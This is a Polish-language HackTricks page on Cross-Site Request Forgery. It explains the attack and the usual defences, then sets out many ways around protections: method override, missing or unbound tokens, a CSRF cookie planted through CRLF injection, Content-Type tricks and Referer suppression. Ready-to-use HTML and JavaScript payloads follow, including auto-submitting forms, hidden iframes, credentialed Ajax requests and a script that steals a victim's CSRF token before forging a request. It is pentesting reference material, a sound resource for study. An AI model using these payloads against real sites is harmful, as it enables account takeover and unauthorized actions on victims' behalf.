Podziel się trikami hackingowymi, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów na githubie.
Dołącz do HackenProof Discord serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Wgląd w hacking
Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem
Aktualności o hackingu w czasie rzeczywistym
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
Najnowsze ogłoszenia
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
Dołącz do nas naDiscord i zacznij współpracować z najlepszymi hackerami już dziś!
Wyjaśnienie Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) to rodzaj luki w zabezpieczeniach, która występuje w aplikacjach internetowych. Umożliwia atakującym wykonywanie działań w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest realizowany, gdy użytkownik, który jest zalogowany na platformie ofiary, odwiedza złośliwą stronę. Strona ta następnie wywołuje żądania do konta ofiary za pomocą metod takich jak wykonywanie JavaScript, przesyłanie formularzy lub pobieranie obrazów.
Wymagania wstępne do ataku CSRF
Aby wykorzystać lukę CSRF, musi być spełnionych kilka warunków:
Zidentyfikuj cenną akcję: Atakujący musi znaleźć akcję wartą wykorzystania, taką jak zmiana hasła użytkownika, adresu e-mail lub podniesienie uprawnień.
Zarządzanie sesją: Sesja użytkownika powinna być zarządzana wyłącznie za pomocą ciasteczek lub nagłówka HTTP Basic Authentication, ponieważ inne nagłówki nie mogą być manipulowane w tym celu.
Brak nieprzewidywalnych parametrów: Żądanie nie powinno zawierać nieprzewidywalnych parametrów, ponieważ mogą one uniemożliwić atak.
Szybka kontrola
Możesz złapać żądanie w Burp i sprawdzić zabezpieczenia CSRF, a aby przetestować z przeglądarki, możesz kliknąć Kopiuj jako fetch i sprawdzić żądanie:
Ochrona przed CSRF
Można wdrożyć kilka środków zaradczych, aby chronić przed atakami CSRF:
Weryfikacja użytkownika: Prośba o hasło użytkownika lub rozwiązanie captcha może potwierdzić intencje użytkownika.
Sprawdzanie nagłówków Referrer lub Origin: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą z zaufanych źródeł. Jednak staranne konstruowanie adresów URL może obejść źle wdrożone kontrole, takie jak:
Użycie http://mal.net?orig=http://example.com (adres URL kończy się zaufanym adresem URL)
Użycie http://example.com.mal.net (adres URL zaczyna się zaufanym adresem URL)
Modyfikacja nazw parametrów: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu zautomatyzowanym atakom.
Tokeny CSRF: Wprowadzenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach może znacznie zmniejszyć ryzyko CSRF. Skuteczność tokena można zwiększyć, egzekwując CORS.
Zrozumienie i wdrożenie tych zabezpieczeń jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji internetowych.
Obejście zabezpieczeń
Z POST do GET
Może się zdarzyć, że formularz, który chcesz wykorzystać, jest przygotowany do wysyłania żądania POST z tokenem CSRF, ale powinieneś sprawdzić, czy GET jest również ważny i czy podczas wysyłania żądania GET token CSRF nadal jest weryfikowany.
Brak tokena
Aplikacje mogą wdrożyć mechanizm do walidacji tokenów, gdy są one obecne. Jednak luka powstaje, jeśli walidacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą to wykorzystać, usuwając parametr, który przenosi token, a nie tylko jego wartość. Umożliwia to obejście procesu walidacji i skuteczne przeprowadzenie ataku Cross-Site Request Forgery (CSRF).
Token CSRF nie jest powiązany z sesją użytkownika
Aplikacje niepowiązujące tokenów CSRF z sesjami użytkowników stanowią znaczące ryzyko bezpieczeństwa. Te systemy weryfikują tokeny w stosunku do globalnej puli, zamiast zapewnić, że każdy token jest związany z inicjującą sesją.
Oto jak atakujący to wykorzystują:
Uwierzytelnij się używając własnego konta.
Uzyskaj ważny token CSRF z globalnej puli.
Użyj tego tokena w ataku CSRF przeciwko ofierze.
Ta luka pozwala atakującym na składanie nieautoryzowanych żądań w imieniu ofiary, wykorzystując niewystarczający mechanizm walidacji tokenów aplikacji.
Obejście metody
Jeśli żądanie używa "dziwnej" metody, sprawdź, czy funkcjonalność przełamania metody działa. Na przykład, jeśli używa metody PUT, możesz spróbować użyć metody POST i wysłać: https://example.com/my/dear/api/val/num?_method=PUT
Może to również działać, wysyłając parametr _method wewnątrz żądania POST lub używając nagłówków:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Obejście tokena nagłówka niestandardowego
Jeśli żądanie dodaje niestandardowy nagłówek z tokenem jako metodą ochrony CSRF, to:
Przetestuj żądanie bez Niestandardowego Tokena i również nagłówka.
Przetestuj żądanie z dokładnie tą samą długością, ale innym tokenem.
Token CSRF jest weryfikowany przez ciasteczko
Aplikacje mogą wdrożyć ochronę CSRF, duplikując token zarówno w ciasteczku, jak i w parametrze żądania lub ustawiając ciasteczko CSRF i weryfikując, czy token wysłany w backendzie odpowiada wartości w ciasteczku. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w ciasteczku.
Jednak ta metoda jest podatna na ataki CSRF, jeśli witryna ma luki umożliwiające atakującemu ustawienie ciasteczka CSRF w przeglądarce ofiary, takie jak luka CRLF. Atakujący mogą to wykorzystać, ładując zwodniczy obraz, który ustawia ciasteczko, a następnie inicjując atak CSRF.
Poniżej znajduje się przykład, jak mógłby być skonstruowany atak:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
Zauważ, że jeśli token csrf jest powiązany z ciasteczkiem sesji, ta atak nie zadziała, ponieważ będziesz musiał ustawić sesję ofiary, a zatem będziesz atakować siebie.
Zmiana Content-Type
Zgodnie z tym, aby uniknąć zapytań preflight przy użyciu metody POST, dozwolone wartości Content-Type to:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Jednakże, zauważ, że logika serwera może się różnić w zależności od używanego Content-Type, więc powinieneś spróbować wymienionych wartości oraz innych, takich jak application/json,text/xml, application/xml.
Przykład (z tutaj) wysyłania danych JSON jako text/plain:
Podczas próby wysłania danych JSON za pomocą żądania POST, użycie Content-Type: application/json w formularzu HTML nie jest bezpośrednio możliwe. Podobnie, wykorzystanie XMLHttpRequest do wysłania tego typu treści inicjuje żądanie wstępne. Niemniej jednak, istnieją strategie, które mogą potencjalnie obejść to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type:
Użyj alternatywnych typów treści: Zastosuj Content-Type: text/plain lub Content-Type: application/x-www-form-urlencoded, ustawiając enctype="text/plain" w formularzu. To podejście testuje, czy backend wykorzystuje dane niezależnie od Content-Type.
Zmień typ treści: Aby uniknąć żądania wstępnego, zapewniając jednocześnie, że serwer rozpoznaje treść jako JSON, możesz wysłać dane z Content-Type: text/plain; application/json. To nie wywołuje żądania wstępnego, ale może być poprawnie przetwarzane przez serwer, jeśli jest skonfigurowany do akceptacji application/json.
Wykorzystanie pliku SWF Flash: Mniej powszechny, ale wykonalny sposób polega na użyciu pliku SWF flash, aby obejść takie ograniczenia. Aby uzyskać szczegółowe zrozumienie tej techniki, zapoznaj się z tym postem.
Ominięcie sprawdzania Referrer / Origin
Unikaj nagłówka Referrer
Aplikacje mogą weryfikować nagłówek 'Referer' tylko wtedy, gdy jest obecny. Aby zapobiec wysyłaniu tego nagłówka przez przeglądarkę, można użyć następującego tagu meta HTML:
<metaname="referrer"content="never">
To zapewnia, że nagłówek 'Referer' jest pomijany, co potencjalnie omija kontrole walidacji w niektórych aplikacjach.
Aby ustawić nazwę domeny serwera w URL, który Referrer ma wysłać w parametrach, możesz to zrobić:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
Obejście metody HEAD
Pierwsza część tego opisu CTF wyjaśnia, że kod źródłowy Oaka, router jest ustawiony na obsługę żądań HEAD jako żądań GET bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oaka. Zamiast konkretnego handlera, który zajmuje się żądaniami HEAD, są one po prostu przekazywane do handlera GET, ale aplikacja po prostu usuwa ciało odpowiedzi.
Dlatego, jeśli żądanie GET jest ograniczone, możesz po prostu wysłać żądanie HEAD, które zostanie przetworzone jako żądanie GET.
Przykłady Eksploatacji
Ekstrakcja tokena CSRF
Jeśli token CSRF jest używany jako ochrona, możesz spróbować ekstrahować go, wykorzystując lukę XSS lub lukę Dangling Markup.
GET przy użyciu tagów HTML
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Inne tagi HTML5, które można wykorzystać do automatycznego wysyłania żądania GET, to:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Żądanie POST formularza
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Wysłanie żądania POST formularza przez iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Żądanie POST Ajax
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Kradzież tokena CSRF i wysłanie żądania POST
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Kradzież tokena CSRF i wysłanie żądania Post za pomocą iframe, formularza i Ajax
Kod może być użyty do Brut Force formularza logowania przy użyciu tokena CSRF (używa również nagłówka X-Forwarded-For, aby spróbować obejść możliwe czarne listy IP):